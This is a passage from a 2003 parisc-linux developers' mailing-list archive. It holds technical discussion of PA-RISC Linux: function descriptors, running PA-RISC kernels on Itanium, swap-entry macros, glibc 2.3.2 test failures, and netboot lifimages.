	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18057

> hppa is using function descriptors, AFAIK.  So you'll have to do something
> similar to what ia64 and ppc64 are doing.

Thanks much for the reply!  I will investigate the function descriptors and
see if that accounts for the different in offsets.  If so, I just need to
figure out which side needs to be fixed :)

Thanks!

- Ryan

> Andreas.
> 
> -- 
> Andreas Schwab, SuSE Labs, schwab@suse.de
> SuSE Linux AG, Deutschherrnstr. 15-19, D-90429 N?rnberg
> Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
> "And now for something completely different."
> 

-- 


From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Mosberger <davidm@napali.hpl.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Mon, 24 Mar 2003 11:19:08 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <15999.23084.647629.868320__2517.4091374085$1416622324$gmane$org@napali.hpl.hp.com>
References: <001f01c2f1f1$e772d4b0$6620a4d5@tsatec.int>
	<20030324121037.GI31008@parcelfarce.linux.theplanet.co.uk>
Reply-To: davidm@hpl.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622324 23624 80.91.229.3 (22 Nov 2014 02:12:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:04 +0000 (UTC)
Cc: Adriano Galano <adriano@satec.es>, linux-ia64@linuxia64.org,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 12:19:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45F42482A
	for <parisc-linux@parisc-linux.org>; Mon, 24 Mar 2003 12:19:25 -0700 (MST)
Original-Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33])
	by palrel11.hp.com (Postfix) with ESMTP
	id 30DC91C012AA; Mon, 24 Mar 2003 11:19:21 -0800 (PST)
Original-Received: from napali.hpl.hp.com (napali.hpl.hp.com [15.4.89.123])
	by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with ESMTP id h2OJJKr22288;
	Mon, 24 Mar 2003 11:19:20 -0800 (PST)
Original-Received: from napali.hpl.hp.com (localhost [127.0.0.1])
	by napali.hpl.hp.com (8.12.3/8.12.3/Debian-5) with ESMTP id h2OJJKLA020757;
	Mon, 24 Mar 2003 11:19:20 -0800
Original-Received: (from davidm@localhost)
	by napali.hpl.hp.com (8.12.3/8.12.3/Debian-5) id h2OJJ8sP020753;
	Mon, 24 Mar 2003 11:19:08 -0800
In-Reply-To: <20030324121037.GI31008@parcelfarce.linux.theplanet.co.uk>
X-Mailer: VM 7.07 under Emacs 21.2.1
X-URL: http://www.hpl.hp.com/personal/David_Mosberger/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18058

>>>>> On Mon, 24 Mar 2003 12:10:37 +0000, Matthew Wilcox <willy@debian.org> said:

  Matthew> On Mon, Mar 24, 2003 at 11:41:18AM +0100, Adriano Galano
  Matthew> wrote:
  >> Hi all:

  >> I read that IA-64 support PA-RISC instruction mapping. That's
  >> mean that I can use Linux for PA/RISC
  >> (http://www.parisc-linux.org/) in a Itanium 2 computer?

  Matthew> No.  You certainly can't run a PA-RISC kernel on an IA64
  Matthew> box, just like you can't run an x86 kernel on an ia64 box.

Ugh, that's not strictly true.  You definitely can boot x86 linux and
windows 98 on Itanium.  I believe the same is true for Itanium 2 if
you have Intel's firmware, though I have never tried that myself.

	--david


From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [akpm@digeo.com: arch changes for file-offset-in-pte's]
Date: Mon, 24 Mar 2003 14:19:00 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20030324191900.GA6324@systemhalted>
References: <200303241328.GAA02336@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622324 23628 80.91.229.3 (22 Nov 2014 02:12:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 12:33:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81E8D482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 12:33:36 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18xXTI-0001g0-00; Mon, 24 Mar 2003 14:19:00 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John Marvin <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200303241328.GAA02336@udlkern.fc.hp.com>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (38% Sync Ratio [====......])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18059

> Another possibility would be to split out the SWP_TYPE, SWP_OFFSET
> and SWP_ENTRY macros in order to have a 32 bit kernel version and a
> 64 bit kernel version. Then we could go with 16 swap devices for the
> 32 bit kernel and even increase the number of swap devices for the
> 64 bit kernel, since we have a huge number of bits for the offset.

My $0.02

a) Keep the swap size the same, and reduce the number of entries.

	= Offers better compatiblity in most situations

b) Split the macro's, keeping the swap size the same, and increase 
   the number of possible devices.

	= Offers size consistency, and benefits to 64-bit kernels.

c.



From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Out of memory problem
Date: Mon, 24 Mar 2003 12:53:01 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20030324195301.GA15374@dsl2.external.hp.com>
References: <20030321000822.6a0123e0.markus@schabi.de> <20030321065534.GA21566@dsl2.external.hp.com> <20030321092201.5dcedd9f.markus.schaber@student.uni-ulm.de> <20030321170502.GA8719@dsl2.external.hp.com> <20030324185958.307d033c.markus.schaber@student.uni-ulm.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622325 23631 80.91.229.3 (22 Nov 2014 02:12:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Schaber <markus.schaber@student.uni-ulm.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 12:53:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 89259482A; Mon, 24 Mar 2003 12:53:01 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030324185958.307d033c.markus.schaber@student.uni-ulm.de>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18060

On Mon, Mar 24, 2003 at 06:59:58PM +0100, Markus Schaber wrote:
> > The Net install ISOs are what you want. See
> > 	http://www.parisc-linux.org/software/install.html
> 
> But as this are ISO files, I need to attach a CD drive, and I don't have
> an external SCSI drive lying around.

Read about "mount -o loop" (aka loopback).
And I forgot about the lifimages that Thibaut referenced.

...
> I have a floppy drive built in, but on the debian-pa web site I read
> that floppy boot is not supported on parisc.

right

> PS: I subscribed to the parisc-linux list, so you all don't have to Cc:
> me.

me too. But my reply is to you and I cc the list.

grant


From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Glibc 2.3.2 failures and possible fixes?
Date: Mon, 24 Mar 2003 16:35:08 -0500
Lines: 84
Approved: news@gmane.org
Message-ID: <20030324213508.GA8436@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622325 23632 80.91.229.3 (22 Nov 2014 02:12:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 14:35:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 478F8482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 14:35:10 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18xZb2-0002GC-00; Mon, 24 Mar 2003 16:35:08 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (10% Sync Ratio [=.........])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18061

John, Tausq,

Succeeded in building glibc 2.3.2 with syscall cancellation support, but
I'm pretty sure it's wrong.

The current list of failures includes:

iconvdata/bug-iconv3.out

- This is a new one.

math/test-fenv.out
math/test-float.out
math/test-double.out
math/test-ifloat.out

- We've had the math test failures for a while, would you like it if I
  tried building glibc with gcc head? It's been so long I've forgotten
  if this was really the delayed fp stuff that I fogot to implement :}
  Will get around to testing this more near the end of April.

stdlib/tst-strtod.out
stdlib/bug-strtod.out

- These are not so new, but indicate problems.

libio/tst-mmap-eofsync.out
libio/tst-mmap-fflushsync.out

- New kernel with Tausq's mmap flushing changes should make these go
  away... have to go into the office to install a new kernel.

dlfcn/default.out
dlfcn/tststatic.out

- New, possibly related to syscalls.

posix/annexc.out

- Expected.

linuxthreads/ex8.out
linuxthreads/ecmutex.out
linuxthreads/ex14.out
linuxthreads/ex15.out
linuxthreads/bug-sleep.out
linuxthreads/tst-cancel1.out
linuxthreads/tst-cancel2.out
linuxthreads/tst-cancel3.out
linuxthreads/tst-cancel4.out
linuxthreads/tst-cancel5.out
linuxthreads/tst-cancel6.out
linuxthreads/tst-popen.out
linuxthreads/tst-popen2.out
linuxthreads/tst-cancel-static.out
linuxthreads/tst-cancel-wrappers.out
rt/tst-shm.out
rt/tst-clock.out
rt/tst-aio.out
rt/tst-aio64.out
rt/tst-aio2.out
rt/tst-aio3.out
rt/tst-aio4.out
rt/tst-aio5.out
rt/tst-aio6.out
rt/tst-aio7.out

- I broke a lot of stuff... :}

elf/vismain.out
elf/neededtest.out
elf/neededtest2.out
elf/neededtest3.out
elf/neededtest4.out
elf/circleload1.out

- These have been around for a while, any idea about how to fix them?

Cheers,
Carlos.





From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc 2.3.2 failures and possible fixes?
Date: Mon, 24 Mar 2003 22:01:30 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20030324220130.GP31008@parcelfarce.linux.theplanet.co.uk>
References: <20030324213508.GA8436@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622325 23634 80.91.229.3 (22 Nov 2014 02:12:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:05 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 15:01:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E844482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 15:01:36 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18xa0Y-0000hn-N6; Mon, 24 Mar 2003 22:01:30 +0000
Content-Disposition: inline
In-Reply-To: <20030324213508.GA8436@systemhalted>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18062

On Mon, Mar 24, 2003 at 04:35:08PM -0500, Carlos O'Donell wrote:
> math/test-fenv.out
> math/test-float.out
> math/test-double.out
> math/test-ifloat.out
> 
> - We've had the math test failures for a while, would you like it if I
>   tried building glibc with gcc head? It's been so long I've forgotten
>   if this was really the delayed fp stuff that I fogot to implement :}
>   Will get around to testing this more near the end of April.

I think this is the mismatch in sizeof(long double) problem again.

> elf/vismain.out
> elf/neededtest.out
> elf/neededtest2.out
> elf/neededtest3.out
> elf/neededtest4.out
> elf/circleload1.out
> 
> - These have been around for a while, any idea about how to fix them?

They've certainly been around since I was hacking on glibc ...

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Schaber <markus.schaber@student.uni-ulm.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Out of memory problem
Date: Tue, 25 Mar 2003 00:29:17 +0100
Organization: =?ISO-8859-1?Q?Universit=E4t?= Ulm
Lines: 29
Approved: news@gmane.org
Message-ID: <20030325002917.37f386fa.markus.schaber@student.uni-ulm.de>
References: <20030324185958.307d033c.markus.schaber@student.uni-ulm.de>
	<1B0823D5-5E27-11D7-B738-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622326 23635 80.91.229.3 (22 Nov 2014 02:12:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 16:29:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.rz.uni-ulm.de (gemini.rz.uni-ulm.de [134.60.246.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A7AF482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 16:29:22 -0700 (MST)
Original-Received: from lunix.haselbuehl.de (p62.246.101.26.tisdip.tiscali.de [62.246.101.26])
	by mail.rz.uni-ulm.de (8.12.8/8.12.8) with ESMTP id h2ONTIVT005566
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Tue, 25 Mar 2003 00:29:19 +0100 (MET)
In-Reply-To: <1B0823D5-5E27-11D7-B738-0030656F07A2@esiee.fr>
X-Mailer: Sylpheed version 0.8.11claws2 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18063

Hello,

Thibaut VARENE <varenet@esiee.fr> schrieb:

> >> The Net install ISOs are what you want. See
> >> 	http://www.parisc-linux.org/software/install.html
> > But as this are ISO files, I need to attach a CD drive, and I don't 
> > have an external SCSI drive lying around. I also doubt I'll find any
> > IDE port inside my Apollo. That's why I looked for a net-boot image.
> there are lifimages as well.
> you can also get them here:
> http://pateam.esiee.fr/cd-images/lifimages/
>
> fwiw, reading the PA-RISC/Linux Boot HOWTO would have told you about 
> them.

I read it, and the _readme_first.txt there, but they don't mention that
those lifimages are prepared for NFS Root opposite to the one I used.
And the NetInst procedure for Debian/i386 uses a RAM-Disk, too, so I
thought those were using a initrd just as the one I got from
ftp://ftp.parisc-linux.org/kernels/. And so I just put it out of my
scope when searching for non-ramdisk images.

But I see that the I have to cross-read everything twice here, my fault.

Thanks for the hint.

Markus


From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Out of memory problem
Date: Tue, 25 Mar 2003 01:02:34 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20030325000234.AC50949BEB@mail.esiee.fr>
References: <20030325002917.37f386fa.markus.schaber@student.uni-ulm.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622326 23637 80.91.229.3 (22 Nov 2014 02:12:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Schaber <markus.schaber@student.uni-ulm.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 17:02:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 162C4482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 17:02:37 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 887E549C0B; Tue, 25 Mar 2003 01:02:35 +0100 (CET)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id AC50949BEB; Tue, 25 Mar 2003 01:02:34 +0100 (CET)
In-Reply-To: <20030325002917.37f386fa.markus.schaber@student.uni-ulm.de>
X-Originating-IP: [212.186.189.113]
User-Agent: IMHO/0.98.3 (Webmail for Roxen)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18064

-------------------
> Hello,
>=20
> Thibaut VARENE <varenet@esiee.fr> schrieb:
>=20
> > >> The Net install ISOs are what you want. See
> > >> 	http://www.parisc-linux.org/software/install.html
> > > But as this are ISO files, I need to attach a CD drive, and I
don't=20
> > > have an external SCSI drive lying around. I also doubt I'll find
any
> > > IDE port inside my Apollo. That's why I looked for a net-boot
image.
> > there are lifimages as well.
> > you can also get them here:
> > http://pateam.esiee.fr/cd-images/lifimages/
> >
> > fwiw, reading the PA-RISC/Linux Boot HOWTO would have told you
about=20
> > them.
>=20
> I read it, and the _readme_first.txt there, but they don't mention
that
> those lifimages are prepared for NFS Root opposite to the one I
used.
> And the NetInst procedure for Debian/i386 uses a RAM-Disk, too, so I
> thought those were using a initrd just as the one I got from
> ftp://ftp.parisc-linux.org/kernels/. And so I just put it out of my
> scope when searching for non-ramdisk images.
>=20
> But I see that the I have to cross-read everything twice here, my
fault.
>=20
> Thanks for the hint.
>=20
> Markus
>=20
>=20
Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Out of memory problem
Date: Tue, 25 Mar 2003 01:05:39 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <20030325000539.90F6049C0B@mail.esiee.fr>
References: <20030325002917.37f386fa.markus.schaber@student.uni-ulm.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622326 23644 80.91.229.3 (22 Nov 2014 02:12:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Schaber <markus.schaber@student.uni-ulm.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 17:05:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B90C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 17:05:41 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 2FBCD49C21; Tue, 25 Mar 2003 01:05:40 +0100 (CET)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id 90F6049C0B; Tue, 25 Mar 2003 01:05:39 +0100 (CET)
In-Reply-To: <20030325002917.37f386fa.markus.schaber@student.uni-ulm.de>
X-Originating-IP: [212.186.189.113]
User-Agent: IMHO/0.98.3 (Webmail for Roxen)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
